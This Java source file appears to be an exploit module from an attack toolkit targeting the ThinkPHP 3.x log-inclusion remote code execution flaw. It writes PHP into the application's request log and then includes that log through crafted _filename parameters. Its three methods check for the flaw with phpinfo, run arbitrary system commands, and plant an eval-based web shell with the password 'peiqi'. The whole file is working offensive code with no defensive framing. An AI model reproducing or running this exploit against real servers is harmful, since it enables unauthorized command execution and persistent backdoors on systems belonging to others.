content: package com.agony.demo.exploit;
  
  import com.agony.demo.common.BasePayload;
  import com.agony.demo.utils.Result;
  import com.github.kevinsawicki.http.HttpRequest;
  
  import java.util.ArrayList;
  import java.util.Date;
  
  
  public class tp3_log_rce implements BasePayload {
      Date dt = new Date();
      String year = String.format("%tY", dt);
      String mon = String.format("%tm", dt);
      String day = String.format("%td", dt);
      String suffix1 = year.substring(2, 4) + "_" + mon + "_" + day + ".log";
  
      @Override
      public Result checkVUL(String url) throws Exception {
          String CheckStr = "PHP Version";
  
          String payload_log = url + "?m=Home&c=Index&a=index&test=--><?=phpinfo();?>";
          ArrayList<String> log_rces = new ArrayList<String>() {{
              add(url + "/?m=Home&c=Index&a=index&value[_filename]=." + "/Application/Runtime/Logs/Home/" + suffix1);
              add(url + "/?m=Home&c=Index&a=index&info[_filename]=." + "/Application/Runtime/Logs/Home/" + suffix1);
              add(url + "/?m=Home&c=Index&a=index&param[_filename]=." + "/Application/Runtime/Logs/Home/" + suffix1);
              add(url + "/?m=Home&c=Index&a=index&name[_filename]=." + "/Application/Runtime/Logs/Home/" + suffix1);
              add(url + "/?m=Home&c=Index&a=index&array[_filename]=." + "/Application/Runtime/Logs/Home/" + suffix1);
              add(url + "/?m=Home&c=Index&a=index&arr[_filename]=." + "/Application/Runtime/Logs/Home/" + suffix1);
              add(url + "/?m=Home&c=Index&a=index&list[_filename]=." + "/Application/Runtime/Logs/Home/" + suffix1);
              add(url + "/?m=Home&c=Index&a=index&page[_filename]=." + "/Application/Runtime/Logs/Home/" + suffix1);
              add(url + "/?m=Home&c=Index&a=index&menus[_filename]=." + "/Application/Runtime/Logs/Home/" + suffix1);
              add(url + "/?m=Home&c=Index&a=index&var[_filename]=." + "/Application/Runtime/Logs/Home/" + suffix1);
              add(url + "/?m=Home&c=Index&a=index&data[_filename]=." + "/Application/Runtime/Logs/Home/" + suffix1);
              add(url + "/?m=Home&c=Index&a=index&module[_filename]=." + "/Application/Runtime/Logs/Home/" + suffix1);
          }};
          for (String log_rce : log_rces) {
              try {
                  String log = HttpRequest.get(payload_log).body();
                  String res = HttpRequest.get(log_rce).body();
                  if (res.contains(CheckStr)) {
                      return new Result(true, "ThinkPHP 3.x Log RCE", log_rce);
                  }
              } catch (Exception e) {
                  e.printStackTrace();
              }
          }
          return new Result(false, "ThinkPHP 3.x Log RCE", "");
      }
  
      @Override
      public Result exeVUL(String url, String cmd) throws Exception {
          String log_exe = url + "/?m=Home&c=Index&a=index&test=--><?=system('"+cmd+"');?>";
          String log_res = url + "/?m=Home&c=Index&a=index&value[_filename]=." + "/Application/Runtime/Logs/Home/" + suffix1;
          try {
              String log = HttpRequest.get(log_exe).body();
              int code = HttpRequest.get(log_res).code();
              if (code == 200) {
                  return new Result(true, null, log_res);
              }
          }
           catch (Exception e) {
          e.printStackTrace();
      }
          return new Result(false, null, "");
      }
  
      @Override
      public Result getShell(String url) throws Exception {
          String log_shell = url + "/?m=Home&c=Index&a=index&test=--><?=@eval($_POST['peiqi']);?>";
          String log_res = url + "/?m=Home&c=Index&a=index&value[_filename]=." + "/Application/Runtime/Logs/Home/" + suffix1;
          try {
              String log = HttpRequest.get(log_shell).body();
              int code = HttpRequest.get(log_res).code();
              if (code == 200) {
                  return new Result(true, null, log_res+"   Pass:peiqi");
              }
          }
           catch (Exception e) {
                  e.printStackTrace();
              }
          return null;
      }
  
  }
  